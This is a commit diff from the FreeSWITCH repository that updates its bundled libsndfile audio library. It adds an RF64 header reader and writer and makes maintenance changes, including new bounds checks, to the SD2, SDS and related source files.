--- freeswitch/branches/seven/libs/libsndfile/src/rf64.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/src/rf64.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,496 @@
+/*
+** Copyright (C) 2008-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
+**
+** This program is free software; you can redistribute it and/or modify
+** it under the terms of the GNU Lesser General Public License as published by
+** the Free Software Foundation; either version 2.1 of the License, or
+** (at your option) any later version.
+**
+** This program is distributed in the hope that it will be useful,
+** but WITHOUT ANY WARRANTY; without even the implied warranty of
+** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+** GNU Lesser General Public License for more details.
+**
+** You should have received a copy of the GNU Lesser General Public License
+** along with this program; if not, write to the Free Software
+** Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
+*/
+
+/*
+**	This format documented at:
+**	http://www.sr.se/utveckling/tu/bwf/prog/RF_64v1_4.pdf
+*/
+
+#include	"sfconfig.h"
+
+#include	<stdio.h>
+#include	<fcntl.h>
+#include	<string.h>
+#include	<ctype.h>
+
+#include	"sndfile.h"
+#include	"sfendian.h"
+#include	"common.h"
+#include	"wav_w64.h"
+
+/*------------------------------------------------------------------------------
+** Macros to handle big/little endian issues.
+*/
+#define	RF64_MARKER		MAKE_MARKER ('R', 'F', '6', '4')
+#define	FFFF_MARKER		MAKE_MARKER (0xff, 0xff, 0xff, 0xff)
+#define	WAVE_MARKER		MAKE_MARKER ('W', 'A', 'V', 'E')
+#define	ds64_MARKER		MAKE_MARKER ('d', 's', '6', '4')
+#define	fmt_MARKER		MAKE_MARKER ('f', 'm', 't', ' ')
+#define	fact_MARKER		MAKE_MARKER ('f', 'a', 'c', 't')
+#define	data_MARKER		MAKE_MARKER ('d', 'a', 't', 'a')
+
+/*------------------------------------------------------------------------------
+** Typedefs.
+*/
+
+/*------------------------------------------------------------------------------
+** Private static functions.
+*/
+
+static int	rf64_read_header (SF_PRIVATE *psf) ;
+static int	rf64_write_header (SF_PRIVATE *psf, int calc_length) ;
+static int	rf64_close (SF_PRIVATE *psf) ;
+
+/*------------------------------------------------------------------------------
+** Public function.
+*/
+
+int
+rf64_open (SF_PRIVATE *psf)
+{	WAV_PRIVATE *wpriv ;
+	int	subformat, error = 0 ;
+
+	if ((wpriv = calloc (1, sizeof (WAV_PRIVATE))) == NULL)
+		return SFE_MALLOC_FAILED ;
+	psf->container_data = wpriv ;
+
+	/* All RF64 files are little endian. */
+	psf->endian = SF_ENDIAN_LITTLE ;
+
+
+	if (psf->mode == SFM_READ || (psf->mode == SFM_RDWR && psf->filelength > 0))
+	{	if ((error = rf64_read_header (psf)) != 0)
+			return error ;
+		} ;
+
+	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_RF64)
+		return	SFE_BAD_OPEN_FORMAT ;
+
+	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+
+	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
+	{	if (psf->is_pipe)
+			return SFE_NO_PIPE_WRITE ;
+
+		psf->blockwidth = psf->bytewidth * psf->sf.channels ;
+
+		if ((error = rf64_write_header (psf, SF_FALSE)))
+			return error ;
+
+		psf->write_header = rf64_write_header ;
+		} ;
+
+	psf->container_close = rf64_close ;
+
+	switch (subformat)
+	{	case SF_FORMAT_PCM_U8 :
+		case SF_FORMAT_PCM_16 :
+		case SF_FORMAT_PCM_24 :
+		case SF_FORMAT_PCM_32 :
+					error = pcm_init (psf) ;
+					break ;
+
+		case SF_FORMAT_ULAW :
+					error = ulaw_init (psf) ;
+					break ;
+
+		case SF_FORMAT_ALAW :
+					error = alaw_init (psf) ;
+					break ;
+
+		/* Lite remove start */
+		case SF_FORMAT_FLOAT :
+					error = float32_init (psf) ;
+					break ;
+
+		case SF_FORMAT_DOUBLE :
+					error = double64_init (psf) ;
+					break ;
+
+		/* Lite remove end */
+
+		default : 	return SFE_UNIMPLEMENTED ;
+		} ;
+
+	return error ;
+} /* rf64_open */
+
+/*------------------------------------------------------------------------------
+*/
+
+static int
+rf64_read_header (SF_PRIVATE *psf)
+{	WAV_PRIVATE *wpriv ;
+	sf_count_t riff_size, data_size ;
+	unsigned int size32 ;
+	int marker, marks [2], error, done = 0 ;
+
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
+
+	/* Set position to start of file to begin reading header. */
+	psf_binheader_readf (psf, "pmmm", 0, &marker, marks, marks + 1) ;
+	if (marker != RF64_MARKER || marks [0] != FFFF_MARKER || marks [1] != WAVE_MARKER)
+		return SFE_RF64_NOT_RF64 ;
+
+	psf_log_printf (psf, "%M\n  %M\n", RF64_MARKER, WAVE_MARKER) ;
+
+	while (! done)
+	{	psf_binheader_readf (psf, "em4", &marker, &size32) ;
+
+		switch (marker)
+		{	case ds64_MARKER :
+					psf_log_printf (psf, "%M : %u\n", marker, size32) ;
+
+					psf_binheader_readf (psf, "888", &riff_size, &data_size, &psf->sf.frames) ;
+					psf_log_printf (psf, "  Riff size : %D\n  Data size : %D\n  Frames    : %D\n",
+											riff_size, data_size, psf->sf.frames) ;
+
+					psf_binheader_readf (psf, "4", &size32) ;
+					psf_log_printf (psf, "  Table len : %u\n", size32) ;
+
+					psf_binheader_readf (psf, "jm4", size32 + 4, &marker, &size32) ;
+					psf_log_printf (psf, "%M : %u\n", marker, size32) ;
+
+					if ((error = wav_w64_read_fmt_chunk (psf, size32)) != 0)
+						return error ;
+					psf->sf.format = SF_FORMAT_RF64 | (psf->sf.format & SF_FORMAT_SUBMASK) ;
+					break ;
+
+			case data_MARKER :
+					psf_log_printf (psf, "%M : %x\n", marker, size32) ;
+					psf->dataoffset = psf->headindex ;
+					done = SF_TRUE ;
+					break ;
+
+			default :
+					if (isprint ((marker >> 24) & 0xFF) && isprint ((marker >> 16) & 0xFF)
+						&& isprint ((marker >> 8) & 0xFF) && isprint (marker & 0xFF))
+					{	psf_binheader_readf (psf, "4", &size32) ;
+						psf_log_printf (psf, "*** %M : %d (unknown marker)\n", marker, size32) ;
+						if (size32 < 8)
+							done = SF_TRUE ;
+						psf_binheader_readf (psf, "j", size32) ;
+						break ;
+						} ;
+					if (psf_ftell (psf) & 0x03)
+					{	psf_log_printf (psf, "  Unknown chunk marker at position %d. Resynching.\n", size32 - 4) ;
+						psf_binheader_readf (psf, "j", -3) ;
+						break ;
+						} ;
+					psf_log_printf (psf, "*** Unknown chunk marker (%X) at position %D. Exiting parser.\n", marker, psf_ftell (psf) - 4) ;
+					done = SF_TRUE ;
+				break ;
+			} ;	/* switch (marker) */
+
+		if (psf_ftell (psf) >= psf->filelength - SIGNED_SIZEOF (marker))
+		{	psf_log_printf (psf, "End\n") ;
+			break ;
+			} ;
+		} ;
+
+	return 0 ;
+} /* rf64_read_header */
+
+/*  known WAVEFORMATEXTENSIBLE GUIDS  */
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_PCM =
+{	0x00000001, 0x0000, 0x0010, {	0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 }
+} ;
+
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_MS_ADPCM =
+{	0x00000002, 0x0000, 0x0010, {	0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 }
+} ;
+
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_IEEE_FLOAT =
+{	0x00000003, 0x0000, 0x0010, {	0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 }
+} ;
+
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_ALAW =
+{	0x00000006, 0x0000, 0x0010, {	0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 }
+} ;
+
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_MULAW =
+{	0x00000007, 0x0000, 0x0010, {	0x80, 0x00, 0x00, 0xaa, 0x00, 0x38, 0x9b, 0x71 }
+} ;
+
+/*
+** the next two are from
+** http://dream.cs.bath.ac.uk/researchdev/wave-ex/bformat.html
+*/
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM =
+{	0x00000001, 0x0721, 0x11d3, {	0x86, 0x44, 0xC8, 0xC1, 0xCA, 0x00, 0x00, 0x00 }
+} ;
+
+static const EXT_SUBFORMAT MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_IEEE_FLOAT =
+{	0x00000003, 0x0721, 0x11d3, {	0x86, 0x44, 0xC8, 0xC1, 0xCA, 0x00, 0x00, 0x00 }
+} ;
+
+
+static int
+wavex_write_fmt_chunk (SF_PRIVATE *psf)
+{	WAV_PRIVATE	*wpriv ;
+	int subformat, fmt_size, add_fact_chunk = 0 ;
+
+	if ((wpriv = psf->container_data) == NULL)
+		return SFE_INTERNAL ;
+
+	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+
+	/* initial section (same for all, it appears) */
+	switch (subformat)
+	{	case SF_FORMAT_PCM_U8 :
+		case SF_FORMAT_PCM_16 :
+		case SF_FORMAT_PCM_24 :
+		case SF_FORMAT_PCM_32 :
+		case SF_FORMAT_FLOAT :
+		case SF_FORMAT_DOUBLE :
+		case SF_FORMAT_ULAW :
+		case SF_FORMAT_ALAW :
+			fmt_size = 2 + 2 + 4 + 4 + 2 + 2 + 2 + 2 + 4 + 4 + 2 + 2 + 8 ;
+
+			/* fmt : format, channels, samplerate */
+			psf_binheader_writef (psf, "4224", fmt_size, WAVE_FORMAT_EXTENSIBLE, psf->sf.channels, psf->sf.samplerate) ;
+			/*  fmt : bytespersec */
+			psf_binheader_writef (psf, "4", psf->sf.samplerate * psf->bytewidth * psf->sf.channels) ;
+			/*  fmt : blockalign, bitwidth */
+			psf_binheader_writef (psf, "22", psf->bytewidth * psf->sf.channels, psf->bytewidth * 8) ;
+
+			/* cbSize 22 is sizeof (WAVEFORMATEXTENSIBLE) - sizeof (WAVEFORMATEX) */
+			psf_binheader_writef (psf, "2", 22) ;
+
+			/* wValidBitsPerSample, for our use same as bitwidth as we use it fully */
+			psf_binheader_writef (psf, "2", psf->bytewidth * 8) ;
+
+			/* For an Ambisonic file set the channel mask to zero.
+			** Otherwise use a default based on the channel count.
+			*/
+			if (wpriv->wavex_ambisonic != SF_AMBISONIC_NONE)
+				psf_binheader_writef (psf, "4", 0) ;
+			else
+			{	/*
+				** Ok some liberty is taken here to use the most commonly used channel masks
+				** instead of "no mapping". If you really want to use "no mapping" for 8 channels and less
+				** please don't use wavex. (otherwise we'll have to create a new SF_COMMAND)
+				*/
+				switch (psf->sf.channels)
+				{	case 1 :	/* center channel mono */
+						psf_binheader_writef (psf, "4", 0x4) ;
+						break ;
+
+					case 2 :	/* front left and right */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2) ;
+						break ;
+
+					case 4 :	/* Quad */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x10 | 0x20) ;
+						break ;
+
+					case 6 :	/* 5.1 */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20) ;
+						break ;
+
+					case 8 :	/* 7.1 */
+						psf_binheader_writef (psf, "4", 0x1 | 0x2 | 0x4 | 0x8 | 0x10 | 0x20 | 0x40 | 0x80) ;
+						break ;
+
+					default :	/* 0 when in doubt , use direct out, ie NO mapping*/
+						psf_binheader_writef (psf, "4", 0x0) ;
+						break ;
+					} ;
+				} ;
+			break ;
+
+		case SF_FORMAT_MS_ADPCM : /* Todo, GUID exists might have different header as per wav_write_header */
+		default :
+			return SFE_UNIMPLEMENTED ;
+		} ;
+
+	/* GUID section, different for each */
+
+	switch (subformat)
+	{	case SF_FORMAT_PCM_U8 :
+		case SF_FORMAT_PCM_16 :
+		case SF_FORMAT_PCM_24 :
+		case SF_FORMAT_PCM_32 :
+			wavex_write_guid (psf, wpriv->wavex_ambisonic == SF_AMBISONIC_NONE ?
+						&MSGUID_SUBTYPE_PCM : &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_PCM) ;
+			break ;
+
+		case SF_FORMAT_FLOAT :
+		case SF_FORMAT_DOUBLE :
+			wavex_write_guid (psf, wpriv->wavex_ambisonic == SF_AMBISONIC_NONE ?
+						&MSGUID_SUBTYPE_IEEE_FLOAT : &MSGUID_SUBTYPE_AMBISONIC_B_FORMAT_IEEE_FLOAT) ;
+			break ;
+
+		case SF_FORMAT_ULAW :
+			wavex_write_guid (psf, &MSGUID_SUBTYPE_MULAW) ;
+			break ;
+
+		case SF_FORMAT_ALAW :
+			wavex_write_guid (psf, &MSGUID_SUBTYPE_ALAW) ;
+			break ;
+
+#if 0
+		/* This is dead code due to return in previous switch statement. */
+		case SF_FORMAT_MS_ADPCM : /* todo, GUID exists */
+			wavex_write_guid (psf, &MSGUID_SUBTYPE_MS_ADPCM) ;
+			break ;
+			return SFE_UNIMPLEMENTED ;
+#endif
+
+		default : return SFE_UNIMPLEMENTED ;
+		} ;
+
+	if (add_fact_chunk)
+		psf_binheader_writef (psf, "tm48", fact_MARKER, 4, psf->sf.frames) ;
+
+	return 0 ;
+} /* wavex_write_fmt_chunk */
+
+
+static int
+rf64_write_header (SF_PRIVATE *psf, int calc_length)
+{	sf_count_t	current ;
+	int 		error = 0, has_data = SF_FALSE ;
+
+	current = psf_ftell (psf) ;
+
+	if (psf->dataoffset > 0 && current > psf->dataoffset)
+		has_data = SF_TRUE ;
+
+	if (calc_length)
+	{	psf->filelength = psf_get_filelen (psf) ;
+
+		psf->datalength = psf->filelength - psf->dataoffset ;
+
+		if (psf->dataend)
+			psf->datalength -= psf->filelength - psf->dataend ;
+
+		if (psf->bytewidth > 0)
+			psf->sf.frames = psf->datalength / (psf->bytewidth * psf->sf.channels) ;
+		} ;
+
+	/* Reset the current header length to zero. */
+	psf->header [0] = 0 ;
+	psf->headindex = 0 ;
+	psf_fseek (psf, 0, SEEK_SET) ;
+
+	psf_binheader_writef (psf, "em4m", RF64_MARKER, 0xffffffff, WAVE_MARKER) ;
+
+	psf_binheader_writef (psf, "m488844", ds64_MARKER, 32, psf->filelength, psf->datalength, psf->sf.frames, 0, 0x005c0064) ;
+
+	/* WAVE and 'fmt ' markers. */
+	psf_binheader_writef (psf, "m", fmt_MARKER) ;
+
+	/* Write the 'fmt ' chunk. */
+	switch (psf->sf.format & SF_FORMAT_TYPEMASK)
+	{	case SF_FORMAT_WAV :
+				psf_log_printf (psf, "ooops SF_FORMAT_WAV\n") ;
+				return SFE_UNIMPLEMENTED ;
+				break ;
+
+		case SF_FORMAT_WAVEX :
+		case SF_FORMAT_RF64 :
+				if ((error = wavex_write_fmt_chunk (psf)) != 0)
+					return error ;
+				break ;
+
+		default :
+				return SFE_UNIMPLEMENTED ;
+		} ;
+
+#if 0
+	/* The LIST/INFO chunk. */
+	if (psf->str_flags & SF_STR_LOCATE_START)
+		wav_write_strings (psf, SF_STR_LOCATE_START) ;
+
+	if (psf->peak_info != NULL && psf->peak_info->peak_loc == SF_PEAK_START)
+	{	psf_binheader_writef (psf, "m4", PEAK_MARKER, WAV_PEAK_CHUNK_SIZE (psf->sf.channels)) ;
+		psf_binheader_writef (psf, "44", 1, time (NULL)) ;
+		for (k = 0 ; k < psf->sf.channels ; k++)
+			psf_binheader_writef (psf, "ft8", (float) psf->peak_info->peaks [k].value, psf->peak_info->peaks [k].position) ;
+		} ;
+
+	if (psf->broadcast_info != NULL)
+		wav_write_bext_chunk (psf) ;
+
+	if (psf->instrument != NULL)
+	{	int		tmp ;
+		double	dtune = (double) (0x40000000) / 25.0 ;
+
+		psf_binheader_writef (psf, "m4", smpl_MARKER, 9 * 4 + psf->instrument->loop_count * 6 * 4) ;
+		psf_binheader_writef (psf, "44", 0, 0) ; /* Manufacturer zero is everyone */
+		tmp = (int) (1.0e9 / psf->sf.samplerate) ; /* Sample period in nano seconds */
+		psf_binheader_writef (psf, "44", tmp, psf->instrument->basenote) ;
+		tmp = (unsigned int) (psf->instrument->detune * dtune + 0.5) ;
+		psf_binheader_writef (psf, "4", tmp) ;
+		psf_binheader_writef (psf, "44", 0, 0) ; /* SMTPE format */
+		psf_binheader_writef (psf, "44", psf->instrument->loop_count, 0) ;
+
+		for (tmp = 0 ; tmp < psf->instrument->loop_count ; tmp++)
+		{	int type ;
+
+			type = psf->instrument->loops [tmp].mode ;
+			type = (type == SF_LOOP_FORWARD ? 0 : type==SF_LOOP_BACKWARD ? 2 : type == SF_LOOP_ALTERNATING ? 1 : 32) ;
+
+			psf_binheader_writef (psf, "44", tmp, type) ;
+			psf_binheader_writef (psf, "44", psf->instrument->loops [tmp].start, psf->instrument->loops [tmp].end) ;
+			psf_binheader_writef (psf, "44", 0, psf->instrument->loops [tmp].count) ;
+			} ;
+		} ;
+
+	if (psf->headindex + 8 < psf->dataoffset)
+	{	/* Add PAD data if necessary. */
+		k = psf->dataoffset - 16 - psf->headindex ;
+		psf_binheader_writef (psf, "m4z", PAD_MARKER, k, make_size_t (k)) ;
+		} ;
+
+#endif
+
+	psf_binheader_writef (psf, "m4", data_MARKER, 0xffffffff) ;
+
+	psf_fwrite (psf->header, psf->headindex, 1, psf) ;
+	if (psf->error)
+		return psf->error ;
+
+	if (has_data && psf->dataoffset != psf->headindex)
+	{	printf ("Oooops : has_data && psf->dataoffset != psf->headindex\n") ;
+		return psf->error = SFE_INTERNAL ;
+		} ;
+
+	psf->dataoffset = psf->headindex ;
+
+	if (! has_data)
+		psf_fseek (psf, psf->dataoffset, SEEK_SET) ;
+	else if (current > 0)
+		psf_fseek (psf, current, SEEK_SET) ;
+
+	return psf->error ;
+} /* rf64_write_header */
+
+static int
+rf64_close (SF_PRIVATE *psf)
+{
+	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
+	{	// rf64_write_tailer (psf) ;
+
+		psf->write_header (psf, SF_TRUE) ;
+		} ;
+
+	return 0 ;
+} /* rf64_close */

Modified: freeswitch/branches/seven/libs/libsndfile/src/rx2.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/rx2.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/rx2.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -33,7 +33,7 @@
 rx2_open	(SF_PRIVATE *psf)
 {	if (psf)
 		return SFE_UNIMPLEMENTED ;
-	return (psf && 0) ;
+	return 0 ;
 } /* rx2_open */
 
 #else
@@ -317,10 +317,3 @@
 } /* rx2_close */
 
 #endif
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 7366e813-9fee-4d1f-881e-e4a691469370
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/sd2.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sd2.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sd2.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2001-2006 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2001-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 ** Copyright (C) 2004 Paavo Jumppanen
 **
 ** This program is free software; you can redistribute it and/or modify
@@ -58,6 +58,7 @@
 typedef struct
 {	unsigned char * rsrc_data ;
 	int rsrc_len ;
+	int need_to_free_rsrc_data ;
 
 	int data_offset, data_length ;
 	int map_offset, map_length ;
@@ -118,12 +119,12 @@
 			goto error_cleanup ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_SD2)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_SD2)
 	{	error = SFE_BAD_OPEN_FORMAT ;
 		goto error_cleanup ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 	psf->dataoffset = 0 ;
 
 	/* Only open and write the resource in RDWR mode is its current length is zero. */
@@ -249,9 +250,9 @@
 	rsrc.rsrc_len = sizeof (psf->header) ;
 	memset (rsrc.rsrc_data, 0xea, rsrc.rsrc_len) ;
 
-	LSF_SNPRINTF (str_rsrc [0].value, sizeof (str_rsrc [0].value), "_%d", rsrc.sample_size) ;
-	LSF_SNPRINTF (str_rsrc [1].value, sizeof (str_rsrc [1].value), "_%d.000000", rsrc.sample_rate) ;
-	LSF_SNPRINTF (str_rsrc [2].value, sizeof (str_rsrc [2].value), "_%d", rsrc.channels) ;
+	snprintf (str_rsrc [0].value, sizeof (str_rsrc [0].value), "_%d", rsrc.sample_size) ;
+	snprintf (str_rsrc [1].value, sizeof (str_rsrc [1].value), "_%d.000000", rsrc.sample_rate) ;
+	snprintf (str_rsrc [2].value, sizeof (str_rsrc [2].value), "_%d", rsrc.channels) ;
 
 	for (k = 0 ; k < ARRAY_LEN (str_rsrc) ; k++)
 	{	if (str_rsrc [k].value_len == 0)
@@ -420,7 +421,9 @@
 	psf_log_printf (psf, "Resource length : %d (0x%04X)\n", rsrc.rsrc_len, rsrc.rsrc_len) ;
 
 	if (rsrc.rsrc_len > SIGNED_SIZEOF (psf->header))
-		rsrc.rsrc_data = calloc (1, rsrc.rsrc_len) ;
+	{	rsrc.rsrc_data = calloc (1, rsrc.rsrc_len) ;
+		rsrc.need_to_free_rsrc_data = SF_TRUE ;
+		}
 	else
 		rsrc.rsrc_data = psf->header ;
 
@@ -477,6 +480,12 @@
 		goto parse_rsrc_fork_cleanup ;
 		} ;
 
+	if (rsrc.map_offset + 28 >= rsrc.rsrc_len)
+	{	psf_log_printf (psf, "Bad map offset (%d + 28 > %d).\n", rsrc.map_offset, rsrc.rsrc_len) ;
+		error = SFE_SD2_BAD_RSRC ;
+		goto parse_rsrc_fork_cleanup ;
+		} ;
+
 	rsrc.string_offset = rsrc.map_offset + read_short (rsrc.rsrc_data, rsrc.map_offset + 26) ;
 	if (rsrc.string_offset > rsrc.rsrc_len)
 	{	psf_log_printf (psf, "Bad string offset (%d).\n", rsrc.string_offset) ;
@@ -519,7 +528,7 @@
 
 	psf_use_rsrc (psf, SF_FALSE) ;
 
-	if ((void *) rsrc.rsrc_data < (void *) psf || (void *) rsrc.rsrc_data > (void *) (psf + 1))
+	if (rsrc.need_to_free_rsrc_data)
 		free (rsrc.rsrc_data) ;
 
 	return error ;
@@ -528,12 +537,14 @@
 static int
 parse_str_rsrc (SF_PRIVATE *psf, SD2_RSRC * rsrc)
 {	char name [32], value [32] ;
-	int k, str_offset, data_offset, data_len, rsrc_id ;
+	int k, str_offset, rsrc_id, data_offset = 0, data_len = 0 ;
 
 	psf_log_printf (psf, "Finding parameters :\n") ;
 
 	str_offset = rsrc->string_offset ;
-	for (k = 0 ; k < rsrc->str_count ; k++)
+	psf_log_printf (psf, "  Offset    RsrcId    dlen    slen    Value\n") ;
+
+	for (k = 0 ; data_offset + data_len < rsrc->rsrc_len ; k++)
 	{	int slen ;
 
 		slen = read_char (rsrc->rsrc_data, str_offset) ;
@@ -544,29 +555,43 @@
 
 		data_offset = rsrc->data_offset + read_int (rsrc->rsrc_data, rsrc->item_offset + k * 12 + 4) ;
 		if (data_offset < 0 || data_offset > rsrc->rsrc_len)
-		{	psf_log_printf (psf, "Bad data offset (%d)\n", data_offset) ;
-			return SFE_SD2_BAD_DATA_OFFSET ;
+		{	psf_log_printf (psf, "Exiting parser on data offset of %d.\n", data_offset) ;
+			break ;
 			} ;
 
 		data_len = read_int (rsrc->rsrc_data, data_offset) ;
 		if (data_len < 0 || data_len > rsrc->rsrc_len)
-		{	psf_log_printf (psf, "Bad data length (%d).\n", data_len) ;
-			return SFE_SD2_BAD_RSRC ;
+		{	psf_log_printf (psf, "Exiting parser on data length of %d.\n", data_len) ;
+			break ;
 			} ;
 
 		slen = read_char (rsrc->rsrc_data, data_offset + 4) ;
 		read_str (rsrc->rsrc_data, data_offset + 5, value, SF_MIN (SIGNED_SIZEOF (value), slen + 1)) ;
 
-		psf_log_printf (psf, "  %-12s   0x%04x    %4d    %2d    %2d    '%s'\n", name, data_offset, rsrc_id, data_len, slen, value) ;
+		psf_log_printf (psf, "  0x%04x     %4d     %4d     %3d    '%s'\n", data_offset, rsrc_id, data_len, slen, value) ;
 
-		if (strcmp (name, "sample-size") == 0 && rsrc->sample_size == 0)
+		if (rsrc_id == 1000 && rsrc->sample_size == 0)
 			rsrc->sample_size = strtol (value, NULL, 10) ;
-		else if (strcmp (name, "sample-rate") == 0 && rsrc->sample_rate == 0)
+		else if (rsrc_id == 1001 && rsrc->sample_rate == 0)
 			rsrc->sample_rate = strtol (value, NULL, 10) ;
-		else if (strcmp (name, "channels") == 0 && rsrc->channels == 0)
+		else if (rsrc_id == 1002 && rsrc->channels == 0)
 			rsrc->channels = strtol (value, NULL, 10) ;
 		} ;
 
+	psf_log_printf (psf, "Found Parameters :\n") ;
+	psf_log_printf (psf, "  sample-size : %d\n", rsrc->sample_size) ;
+	psf_log_printf (psf, "  sample-rate : %d\n", rsrc->sample_rate) ;
+	psf_log_printf (psf, "  channels    : %d\n", rsrc->channels) ;
+
+	if (rsrc->sample_rate <= 4 && rsrc->sample_size > 4)
+	{	int temp ;
+
+		psf_log_printf (psf, "Geez!! Looks like sample rate and sample size got switched.\nCorrecting this screw up.\n") ;
+		temp = rsrc->sample_rate ;
+		rsrc->sample_rate = rsrc->sample_size ;
+		rsrc->sample_size = temp ;
+		} ;
+
 	if (rsrc->sample_rate < 0)
 	{	psf_log_printf (psf, "Bad sample rate (%d)\n", rsrc->sample_rate) ;
 		return SFE_SD2_BAD_RSRC ;
@@ -604,10 +629,3 @@
 	return 0 ;
 } /* parse_str_rsrc */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 1ee183e5-6b9f-4c2c-bd0a-24f35595cefc
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/sds.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sds.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sds.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -23,11 +23,11 @@
 #include <fcntl.h>
 #include <string.h>
 #include <ctype.h>
+#include <math.h>
 
 #include "sndfile.h"
 #include "sfendian.h"
 #include "common.h"
-#include "float_cast.h"
 
 /*------------------------------------------------------------------------------
 */
@@ -116,7 +116,7 @@
 			return error ;
 		} ;
 
-	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_SDS)
+	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_SDS)
 		return	SFE_BAD_OPEN_FORMAT ;
 
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
@@ -360,7 +360,7 @@
 
 	psf_binheader_writef (psf, "E211", 0xF07E, 0, 1) ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 				psds->bitwidth = 8 ;
 				break ;
@@ -984,10 +984,3 @@
 	return total ;
 } /* sds_write */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: d5d26aa3-368c-4ca6-bb85-377e5a2578cc
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/sf_unistd.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sf_unistd.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sf_unistd.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -58,10 +58,4 @@
 **	#define	_IFMT		_S_IFMT
 **	#define _IFREG		_S_IFREG
 */
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: 253aea6d-6299-46fd-8d06-bc5f6224c8fe
-*/
+

Modified: freeswitch/branches/seven/libs/libsndfile/src/sfconfig.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/sfconfig.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/sfconfig.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2005-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -99,10 +99,3 @@
 
 #endif
 
-/*
-** Do not edit or modify anything in this comment block.
